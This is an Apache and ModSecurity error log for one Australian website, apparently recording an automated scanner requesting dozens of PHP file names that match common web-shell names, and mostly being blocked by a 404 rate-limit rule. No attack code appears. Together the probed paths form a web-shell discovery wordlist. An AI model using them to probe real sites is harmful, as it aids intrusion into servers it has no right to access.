[Sat Apr 25 06:32:50.662844 2026] [:error] [pid 46083:tid 46102] [client 74.248.134.252:63944] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aevvkjxw_Zq74vWdjmk6CgAAAQ8"]
[Sat Apr 25 06:32:55.586119 2026] [:error] [pid 44320:tid 44356] [client 74.248.134.252:56981] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aevvlzmFqSpku_dij8h4ngAAAEA"]
[Sat Apr 25 06:32:58.995298 2026] [:error] [pid 44425:tid 44431] [client 74.248.134.252:46949] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aevvmiUl-VlItvY2tR8NVgAAAMQ"]
[Sat Apr 25 06:33:01.070875 2026] [:error] [pid 44321:tid 44392] [client 74.248.134.252:42344] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aevvnY1b5lV-asWa_Y4uowAAAIk"]
[Sat Apr 25 06:33:04.830695 2026] [:error] [pid 44425:tid 44428] [client 74.248.134.252:63341] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aevvoCUl-VlItvY2tR8NXAAAAME"]
[Sat Apr 25 06:33:07.213514 2026] [:error] [pid 46083:tid 46091] [client 74.248.134.252:64924] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aevvozxw_Zq74vWdjmk6MAAAAQQ"]
[Sat Apr 25 06:33:09.573560 2026] [:error] [pid 44425:tid 44448] [client 74.248.134.252:63957] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aevvpSUl-VlItvY2tR8NZQAAANU"]
[Sat Apr 25 06:33:13.071315 2026] [:error] [pid 46083:tid 46112] [client 74.248.134.252:63313] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aevvqTxw_Zq74vWdjmk6RgAAARg"]
[Sat Apr 25 06:33:15.217725 2026] [:error] [pid 46083:tid 46108] [client 74.248.134.252:64215] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aevvqzxw_Zq74vWdjmk6TwAAARQ"]
[Sat Apr 25 06:33:20.349794 2026] [:error] [pid 44425:tid 44434] [client 74.248.134.252:59244] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aevvsCUl-VlItvY2tR8NbwAAAMc"]
[Sat Apr 25 06:33:25.260815 2026] [:error] [pid 44425:tid 44431] [client 74.248.134.252:44022] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aevvtSUl-VlItvY2tR8NeAAAAMQ"]
[Sat Apr 25 06:33:26.725888 2026] [:error] [pid 44425:tid 44444] [client 74.248.134.252:63266] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aevvtiUl-VlItvY2tR8NlAAAANE"]
[Sat Apr 25 06:33:28.049406 2026] [:error] [pid 46083:tid 46109] [client 74.248.134.252:63277] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aevvuDxw_Zq74vWdjmk6YgAAARU"]
[Sat Apr 25 06:33:30.090845 2026] [:error] [pid 44425:tid 44446] [client 74.248.134.252:64212] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aevvuiUl-VlItvY2tR8NzwAAANM"]
[Sat Apr 25 06:33:33.030261 2026] [:error] [pid 44319:tid 44351] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/s.php
[Sat Apr 25 06:33:33.290111 2026] [:error] [pid 44319:tid 44339] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/tymn.php
[Sat Apr 25 06:33:33.553980 2026] [:error] [pid 44319:tid 44350] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sat Apr 25 06:33:33.812913 2026] [:error] [pid 44319:tid 44336] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/wp5.php
[Sat Apr 25 06:33:34.082089 2026] [:error] [pid 44319:tid 44330] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Sat Apr 25 06:33:34.343437 2026] [:error] [pid 44319:tid 44334] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-access.php
[Sat Apr 25 06:33:34.614734 2026] [:error] [pid 44319:tid 44333] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class-atom.php
[Sat Apr 25 06:33:34.880070 2026] [:error] [pid 44319:tid 44347] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Apr 25 06:33:35.964169 2026] [:error] [pid 44319:tid 44353] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Sat Apr 25 06:33:36.225332 2026] [:error] [pid 44319:tid 44341] [client 74.248.134.252:41562] File does not exist: /usr/local/apache/htdocs/suspended-page/900.php
[Sat Apr 25 06:33:36.481995 2026] [:error] [pid 44319:tid 44352] [client 74.248.134.252:41562] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aevvwMzJPAVLUb2pWtJWYAAAABc"]
[Sat Apr 25 06:33:40.659575 2026] [:error] [pid 46083:tid 46110] [client 74.248.134.252:63419] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aevvxDxw_Zq74vWdjmk6jQAAARY"]
[Sat Apr 25 06:33:42.177404 2026] [:error] [pid 46083:tid 46099] [client 74.248.134.252:63020] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aevvxjxw_Zq74vWdjmk6kQAAAQw"]
[Sat Apr 25 06:33:45.245635 2026] [:error] [pid 46083:tid 46099] [client 74.248.134.252:63215] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aevvyTxw_Zq74vWdjmk6oQAAAQw"]
[Sat Apr 25 06:33:51.251896 2026] [:error] [pid 44321:tid 44399] [client 74.248.134.252:2299] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jk.php"] [unique_id "aevvz41b5lV-asWa_Y4vHgAAAJA"]
[Sat Apr 25 06:33:54.411411 2026] [:error] [pid 44425:tid 44436] [client 74.248.134.252:64212] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jk.php"] [unique_id "aevv0iUl-VlItvY2tR8N6QAAAMk"]
[Sat Apr 25 06:33:57.421594 2026] [:error] [pid 46083:tid 46107] [client 74.248.134.252:63124] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jk.php"] [unique_id "aevv1Txw_Zq74vWdjmk6twAAARM"]
[Sat Apr 25 06:34:00.290002 2026] [:error] [pid 46083:tid 46112] [client 74.248.134.252:59492] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jk.php"] [unique_id "aevv2Dxw_Zq74vWdjmk6wAAAARg"]
[Sat Apr 25 06:34:04.814451 2026] [:error] [pid 44425:tid 44446] [client 74.248.134.252:44750] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aevv3CUl-VlItvY2tR8ODQAAANM"]
[Sat Apr 25 06:34:07.776833 2026] [:error] [pid 46083:tid 46087] [client 74.248.134.252:59495] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aevv3zxw_Zq74vWdjmk62AAAAQA"]
[Sat Apr 25 06:34:09.768098 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:53902] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aevv4TmFqSpku_dij8h47QAAAE4"]
[Sat Apr 25 06:34:12.223262 2026] [:error] [pid 46083:tid 46090] [client 74.248.134.252:64790] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aevv5Dxw_Zq74vWdjmk64wAAAQM"]
[Sat Apr 25 06:34:14.461770 2026] [:error] [pid 44319:tid 44340] [client 74.248.134.252:39267] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aevv5szJPAVLUb2pWtJWgwAAAAs"]
[Sat Apr 25 06:34:16.686848 2026] [:error] [pid 46083:tid 46091] [client 74.248.134.252:59495] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aevv6Dxw_Zq74vWdjmk69QAAAQQ"]
[Sat Apr 25 06:34:18.402577 2026] [:error] [pid 46083:tid 46096] [client 74.248.134.252:51918] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aevv6jxw_Zq74vWdjmk69wAAAQk"]
[Sat Apr 25 06:34:20.240348 2026] [:error] [pid 44321:tid 44392] [client 74.248.134.252:62814] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aevv7I1b5lV-asWa_Y4vTwAAAIk"]
[Sat Apr 25 06:34:22.803639 2026] [:error] [pid 46083:tid 46099] [client 74.248.134.252:39585] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aevv7jxw_Zq74vWdjmk6_wAAAQw"]
[Sat Apr 25 06:34:27.211881 2026] [:error] [pid 46083:tid 46100] [client 74.248.134.252:2960] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aevv8zxw_Zq74vWdjmk7EAAAAQ0"]
[Sat Apr 25 06:34:29.550037 2026] [:error] [pid 46083:tid 46107] [client 74.248.134.252:39592] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aevv9Txw_Zq74vWdjmk7HwAAARM"]
[Sat Apr 25 06:34:30.641437 2026] [:error] [pid 46083:tid 46103] [client 74.248.134.252:57620] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aevv9jxw_Zq74vWdjmk7JQAAARA"]
[Sat Apr 25 06:34:32.938977 2026] [:error] [pid 44321:tid 44396] [client 74.248.134.252:35912] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aevv-I1b5lV-asWa_Y4vZQAAAI0"]
[Sat Apr 25 06:34:37.222735 2026] [:error] [pid 44320:tid 44368] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sat Apr 25 06:34:37.515131 2026] [:error] [pid 44320:tid 44361] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/mode.php
[Sat Apr 25 06:34:37.803870 2026] [:error] [pid 44320:tid 44363] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat Apr 25 06:34:38.087387 2026] [:error] [pid 44320:tid 44358] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Sat Apr 25 06:34:38.383658 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sat Apr 25 06:34:38.669374 2026] [:error] [pid 44320:tid 44377] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/adoms.php
[Sat Apr 25 06:34:38.957055 2026] [:error] [pid 44320:tid 44371] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-editor.php
[Sat Apr 25 06:34:39.242529 2026] [:error] [pid 44320:tid 44373] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Sat Apr 25 06:34:39.533147 2026] [:error] [pid 44320:tid 44375] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sat Apr 25 06:34:39.830885 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:57648] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Sat Apr 25 06:34:40.394385 2026] [:error] [pid 44320:tid 44357] [client 74.248.134.252:57648] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/profile.php"] [unique_id "aevwADmFqSpku_dij8h5EQAAAEE"]
[Sat Apr 25 06:34:41.544344 2026] [:error] [pid 44319:tid 44329] [client 74.248.134.252:60500] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/profile.php"] [unique_id "aevwAczJPAVLUb2pWtJWlAAAAAA"]
[Sat Apr 25 06:34:48.036579 2026] [:error] [pid 46083:tid 46109] [client 74.248.134.252:45201] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/profile.php"] [unique_id "aevwCDxw_Zq74vWdjmk7XwAAARU"]
[Sat Apr 25 06:34:49.962181 2026] [:error] [pid 44425:tid 44446] [client 74.248.134.252:52602] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/profile.php"] [unique_id "aevwCSUl-VlItvY2tR8ORQAAANM"]
[Sat Apr 25 06:34:52.233441 2026] [:error] [pid 44320:tid 44380] [client 74.248.134.252:51089] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aevwDDmFqSpku_dij8h5GgAAAFg"]
[Sat Apr 25 06:34:56.089055 2026] [:error] [pid 44321:tid 44387] [client 74.248.134.252:60536] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aevwEI1b5lV-asWa_Y4vbwAAAIQ"]
[Sat Apr 25 06:35:00.219985 2026] [:error] [pid 44321:tid 44393] [client 74.248.134.252:64664] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aevwFI1b5lV-asWa_Y4vdgAAAIo"]
[Sat Apr 25 06:35:01.792736 2026] [:error] [pid 46083:tid 46096] [client 74.248.134.252:62553] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaza.php"] [unique_id "aevwFTxw_Zq74vWdjmk7gAAAAQk"]
[Sat Apr 25 06:35:04.702964 2026] [:error] [pid 44320:tid 44361] [client 74.248.134.252:2952] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aevwGDmFqSpku_dij8h5HwAAAEU"]
[Sat Apr 25 06:35:11.826218 2026] [:error] [pid 44321:tid 44404] [client 74.248.134.252:64116] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aevwH41b5lV-asWa_Y4vewAAAJU"]
[Sat Apr 25 06:35:16.588537 2026] [:error] [pid 44319:tid 44336] [client 74.248.134.252:53491] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aevwJMzJPAVLUb2pWtJWswAAAAc"]
[Sat Apr 25 06:35:18.538323 2026] [:error] [pid 44320:tid 44365] [client 74.248.134.252:59584] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aevwJjmFqSpku_dij8h5NwAAAEk"]
[Sat Apr 25 06:35:20.950883 2026] [:error] [pid 44425:tid 44439] [client 74.248.134.252:64654] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aevwKCUl-VlItvY2tR8OfQAAAMw"]
[Sat Apr 25 06:35:23.281118 2026] [:error] [pid 44320:tid 44361] [client 74.248.134.252:44691] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aevwKzmFqSpku_dij8h5OgAAAEU"]
